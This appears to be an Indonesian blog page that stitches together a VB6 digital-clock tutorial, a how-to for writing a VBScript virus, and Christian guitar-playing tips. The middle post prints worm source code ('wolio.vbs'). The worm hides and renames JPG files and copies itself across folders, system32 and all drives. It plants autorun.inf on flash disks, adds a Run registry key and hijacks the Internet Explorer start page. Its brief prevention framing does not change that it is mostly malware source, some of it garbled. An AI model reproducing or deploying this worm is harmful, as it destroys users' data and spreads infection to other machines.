Bikin Program Jam dan Tanggal pakai VB

  

Anda tau kan jam digital? Pertanyaan macam apa ini. Hehe. Ya pada tulisan saya kali ini saya akan membahas tentang bagaimana cara membuat program jam digital dengan menggunakan visual basic 6.0 . caranya sangat mudah loh. Kita hanya menggunakan toolbox shape, line, dan pastinya timer.

Langkahnya yaitu. Pertama anda buka dulu program visual basic. Lalu klik ganda icon combo box dan icon timer pada toolbox. Setelah
itu ubah interval timer nya menjadi 500 pada jendela properties yg ada disebelah kanan. Nah selanjutnya kita mulai masukan sebuah komponen shape, sebuah komponen line, dan empat buah komponen labels ke dalam form. Oia dikomponen line tadi itu kita ubah border widthnya menjadi 10, lalu pada komponen labelnya yg ada 4 buah tadi kita ganti alignment nya menjadi 2-center, autosizenya menjadi true, backstyle nya menjadi 0-transparent, dan juga pada komponen shape kita ganti backstyle nya menjadi 1-opaque dan backcolornya ganti menjadi warna kuning(warna apa aja boleh kok hehe).

Nah sekarang kodingnya nih. Hayolohh,,pasti susahh yaa?? Untuk membuat jam digital ini kodingnya tidak banyak seperti program program lain. Dijamin langsung bisa hafal deh. Hehe. Ini dia kodingnya. Oia pertama double click pada form lalu masukkan koding ini.

Combo1.Additem  “Rectangle”

Combo1.Additem  “Square”

Combo1.Additem  “Oval”

Combo1.Additem  “circle”

Combo1.Additem  “Rounded Rectangle”

Combo1.additem  “Rounded Square”

Selanjutnya kita akan masukan koding ke komponen combo1, jangan lupa ubah eventnya menjadi click yang ada di kanan atas pada jendela kode. Ini kodingnya.

Shape1.Shape = Combo1.listindex

Selanjutnya kita masukkan koding ke komponen timer1. Ini kodingnya.

Label1.Caption = Format(Now,  “dddd”)

Label2.Caption = Format(Now,  “d mmmm”)

Label3.Caption = Format(Now,  “yyyy”)

Label1.Caption = Format(Now,  “hh:mm:ss”)

Line1.BorderColor = RGB(Rnd*255, Rnd*255, Rnd*255)

 

Bila ingin di tambah variasi pada program tersebut bisa anda tambahkan..

Line2.BorderColor = RGB(Rnd*255, Rnd*255, Rnd*255)

Line3.BorderColor = RGB(Rnd*255, Rnd*255, Rnd*255) 

Line-Line tersebut bisa anda simpan yang menurut anda terlihat indah..

Untuk melihat hasil program yang kita buat tadi. Tekan saja F5 pada keyboard.

Nah selesai dehh, gimana sob sedikit kan kodingnya.

bikin virus pake visual basic yuu...! heheheh

Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali. Virus yang akan kita coba buat kali ini akan dibuat dengan menggunakan Visual Basic Script. Terlebih dulu kira akan rencakan skenario kerja dari virus tersebut. Skenario virus tersebut adalah sebagai berikut:
1. Virus akan mencari file-file .JPG pada folder dan subfolder satu tingkat didalamnya, setelah itu merubah ekstension file JPG tersebut menjadi JPEG dan merubah atributnya menjadi hidden file. Sehingga akan dikira file tersebut terhapus.
2. Meng-copy-kan dirinya (virus) dalam folder-folder tertentu dalam Windows
3. Memodifikasi Registry agar secara otomatis menjalankan script virus pada saat restart
4. Menularkan diri pada drive-drive yang aktif termasuk flash disk
5. Membuat halaman HTML tertentu agar dijalankan pada start page di Internet Explorer
Nah, demikianlah skenario virus yang akan kita buat. Untuk lebih jelasnya kita akan pelajari dari script dibawah ini:
1. Pada bagian ini akan dibuat sebuah prosedur untuk mencari file-file JPG dan merubahnya sesuai dengan skenario diatas
Sub serangan_jpg(target)
on error resume next
set ftarget=fso.GetFile(target)
set fsource = fso.GetFile(Wscript.ScriptFullName)
ftarget.Copy(Left(target,instrrev(target,”.”)) & “jpeg”)
set fbackup = fso.GetFile(Left(target,instrrev(target,”.”)) & “jpeg”)
fbackup.Attributes = 2 fsource.Copy(Left(target,instrrev(target,”.”)) & “jpg ” & “.vbs”)
ftarget.Delete
ftarget.Close
fsource.Close
End Sub
Sub carifilejpg(folder)
For Each filetarget in fso.GetFolder(folder).Files
If (Right(filetarget,3)=”jpg”) then serangan_jpg(filetarget)
Next
End Sub
2. Prosedur dibawah ini berfungsi untuk mencari drive yang aktif termasuk media flash disk dan kemudian menularinya.
Sub serangan_drive()
Set fso = CreateObject(”Scripting.FileSystemObject”)
Set Drives=fso.drives
adaflashdisk = False
For Each drive in Drives
If drive.isready Then
fsource.Copy(drive & “” & “wolio.vbs”)
If drive.DriveType = 1 And drive.DriveLetter > “C:” Then adaflashdisk = True
End If
Next
If adaflashdisk = True Then
set fileautorun = fso.CreateTextFile(drive.DriveLetter & “” & “autorun.inf”,False)
fileautorun.WriteLine(”[AUTORUN]“)
fileautorun.WriteLine(”RUN=wolio.vbs”)
End If
End Sub

3. Merubah Registry agar Start Page pada Internet Explorer menjalankan file HTML yang diinginkan
Sub serangan_ie()
If (regedit.RegRead(”HKEY_CURRENT_USER\SOFTWARE\MicrosoftInternet Explorer\Main\Start
Page”)<>”c:\windows\system32\wolio.html”) Then
regedit.RegWrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start
Page”,”c:\windows\system32\wolio.html”
End If
End Sub
4. Bagian ini digunakan untuk membuat sebuah file HTML yang akan menjalankan script virus

Sub buat_html()
set filehtml = fso.CreateTextFile(”c:windowssystem32wolio.html”,True)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
“)
filehtml.WriteLine(”Welcome to Wolio”)
filehtml.WriteLine(”filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(”Selamat Datang di Wolio VBS “)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
End Sub

5. Pada bagian ini akan mencari folder yang ada dan menularinya dengan script virus

Sub serangan_folder(foldername)
on error resume next
For Each subfolder in fso.GetFolder(foldername).SubFolders
fsource.Copy(subfolder & “wolio.vbs”)
carifilejpg(subfolder)
next
End Sub

6. Bagian dibawah ini adalah bagian yang utama gunanya untuk mendeklarasikan variabel dan memangggil semua prosedur

On Error Resume Next
dim fso, fsource, ftarget, fbackup, scriptname, myfolder, subfolder, preview, filetarget, sys, regedit, drive,
filehtml, fileautorun
dim adaflashdisk
set fso = CreateObject(”Scripting.FileSystemObject”)
set fsource = fso.GetFile(Wscript.ScriptFullName)
set regedit=CreateObject(”WScript.Shell”)
myfolder = Left(fsource,InStrRev(fsource,””))
‘ Copy-kan diri ke “c:windowssystem32″
fsource.Copy(”c:windowssystem32wolio.vbs”)
‘ Cari dan infeksi file JPG didalam folder
carifilejpg(myfolder)
‘ Copy-kan diri di sub folder yang ada
serangan_folder(myfolder)
‘ Regitry
if
(regedit.RegRead(”HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolio”)<>”c:\windows\system32\wolio.vbs”) Then
regedit.RegWrite
“HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolio”,”c:\windows\system32\wolio.vbs”
End If
‘ Copy-kan diri ke semua drive aktif
serangan_drive()
‘ Buat file wolio.html
buat_html()
‘ Ubah Start Page di Internet Explorer
serangan_ie()

Demikianlah artikel tentang cara pembuatan dan penuluran sebuah virus yang dibuat dengan VBS. Setelah mengetahui teknik penyebaran suatu virus yang dibuat dengan VBS, maka diharapkan kepada Anda agar dapat melakukan pencegahan. Virus yang kita pelajari kali ini sebenarnya hanya virus yang “KONYOL”, ini hanya membuka wacana Anda terhadap bahaya dari virus yang dibuat dengan VBS. Semoga artikel ini dapat bermanfaat.

SUMBER: http://www.binushacker.net

5 jurus bermain Gitar

Jurus 1: jangan Lupa Kunci
Kunci adalah nyawa dari permainan gitar. Tanpa kunci, meski kita tahu semua jurus ritem, dijamin kita tidak akan pernah tahu bunyinya seperti apa. Pelajarilah semua kunci dasar seperti C, D, E, F, (3, A, B) beserta semua bentuk minor dan #nya (kecuali untuk kunci B memakai bentuk Bb). Biasanya buku tentang kunci-kunci ini dijual bebas di pasaran. Satu tips yang patut diingat, sebenarnya bentuknya begitu-begitu saja. Jangan dibuat pusing dengan nama-nama yang berbeda. Contoh: bila kunci C digeser sejauh 2 fret akan menghasilkan kunci D, padahal bentuknya sama, hanya letaknya yang berbeda.
Jurus 2: Dua Teknik Dasar
PETIKAN: Ketika memetik gitar, tidak perlu membayangkan harus seperti lagu "KKEB"-nya Andre Hehanusa atau "Tears In Heaven"-nya Eric Clapton. Sebaliknya, petiklah dengan sederhana seperti 3 contoh berikut ini:
Perhatikan posisi jari: jari jempol untuk 3 senar bas, sedangkan 3 senar lainnya dipetik oleh 3 jari pada gamhar.
Penyederhanaan: jari jempol=1, jari telunjuk=2, jari tenguh=3 dan jari minis=4.
1. 1-2-3.4.3-2 dengan l berpindah-pindah bas
2. 1-2-3-4-2 dengan 34 dipetik bersamaan
3. 1.234 dengan 234 dipetik hersamaan sebanyak 3x.
Setelah Anda nmencoba ketiganya, GABUNGKAN SEMUA TEKNIK! Memainkan lagu KKEB bukan impian lagi.
RITEM: Ini hal yang sebetulnya sederhana. Kalau pengamen jalanan saja tekniknya bagus, mengapa kita tidak? Alasan utama ketidak-mampuan ini adalah kurangnya latihan. Jika Anda sungguh serius, sisihkan waktu untuk melatihnya minimal 1 jam sehari. Latihan: Untuk ritem sederhananya dibagi menjadi ritem ke bawah dan ke atas. Untuk ke bawah= l dan ke atas=2.
1. 1-1-2-2-1
2. 1-2-2-1-2-2-1
Jurus 3. Jangan Lupa Bawa Buku Nyanyian
Sekarang buku lagu-lagu Praise & Worship yang lazim digunakan dan sudah banyak dijual bebas di pasaran. Biasanya apa yang tertera di buku-buku semacam ini sudah disederhanakan sehingga menyanyikannya pun mudah saja.
Jurus 4: Berlatih Running Chord Untuk Bermazmur
Sebelum kita bisa membawa orang lain agar mengalami saat yang indah dalam memuji & bermazmur bagi-Nya, kita harus mengalaminya terlebih dulu. Cobalah untuk berdiam diri dengan bermazmur bagi-Nya dengan menggunakan running chord 4/4 seperti misalnya (jika bermain di kunci C): C-F, C-AmDm-G, F-Em-Dm-G. Semakin sering dilantunkan, feeling Anda akan semakin terasah dan Anda akan terheran-heran melihat perkembangan skill Anda.
Jurus 5: Percaya Diri
Percaya diri! That's the best thing. Walau Anda banyak melakukan kesalahan (terutama biasanya salah kunci), lanjutkan saja dengan tertawa bersama teman-teman Anda. Dijamin, mereka semua pasti ikut tersenyum. Toh pada akhirnya, bukan permainan gitar/nyanyian kita yang diterima oleh-Nya, tapi kesungguhan hati kita.**

SUMBER ( http://gema.sabda.org/5_jurus_bermain_gitar )...